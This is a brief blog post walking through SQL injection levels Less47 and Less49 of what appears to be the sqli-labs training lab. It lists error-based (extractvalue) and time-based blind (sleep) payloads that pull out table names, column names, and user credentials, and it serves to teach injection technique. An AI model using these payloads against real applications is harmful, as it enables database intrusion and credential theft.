当前位置:网站首页>SQL injection Less47 (error injection) and Less49 (time blind injection)
SQL injection Less47 (error injection) and Less49 (time blind injection)
2022-07-31 02:47:00 【happy star】
Less47 and Less49 can't use rand() Boolean blind annotation
Because there are single quotes to closeorder by 'rand()' This statement obviously cannot be executedp>
Less47
?sort=1' and extractvalue(0,concat(0x7e,database()))--+
?sort=1' and extractvalue(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")))--+
?sort=1' and extractvalue(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))--+
?sort=1' and extractvalue(0,concat(0x7e, (select group_concat(username,password) from users)))--+
Less49
?sort=1' and sleep(5)--+
?sort=1' and if(1,sleep(5),0)--+
?sort=1' and if(length(database())=8,sleep(5),0)--+
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0)--+
?sort=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)--+
?sort=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),0)--+
?sort=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),0)--+
边栏推荐
猜你喜欢

How to do a startup CTO?

基于opencv实现人脸检测

There is a problem with the multiplayer-hlap package and the solution cannot be upgraded

Layer 2 broadcast storm (cause + judgment + solution)

7、私信列表

Chapter 9 SVM实践

Project (5) - Small target detection tph-yolov5

Installation, start and stop of redis7 under Linux

16. Registration Center-consul

YOLOV5学习笔记(二)——环境安装+运行+训练
随机推荐
SQL注入 Less47(报错注入) 和Less49(时间盲注)
医疗影像领域AI软件开发流程
LeetCode Daily Question 2022/7/25-2022/7/31
【C语言】求两个整数m和n的最大公因数和最小公倍数之和一般方法,经典解法
Go 项目实战-获取多级分类下的全部商品
Uninstallation of mysql5.7.37 under CentOS7 [perfect solution]
The comprehensive result of the case statement, do you know it?[Verilog Advanced Tutorial]
JS function this context runtime syntax parentheses array IIFE timer delay self.backup context call apply
Why is String immutable?
15. Website Statistics
LeetCode 1161 最大层内元素和[BFS 二叉树] HERODING的LeetCode之路
execsnoop tool
Project (5) - Small target detection tph-yolov5
Intranet Infiltration - Privilege Escalation
Moxa NPort device flaw could expose critical infrastructure to devastating attack
The whole process scheduling, MySQL and Sqoop
完整复制虚拟机原理(云计算)
YOLOV5学习笔记(二)——环境安装+运行+训练
LeetCode 1161 The largest element in the layer and the LeetCode road of [BFS binary tree] HERODING
【shell基础】判断目录是否为空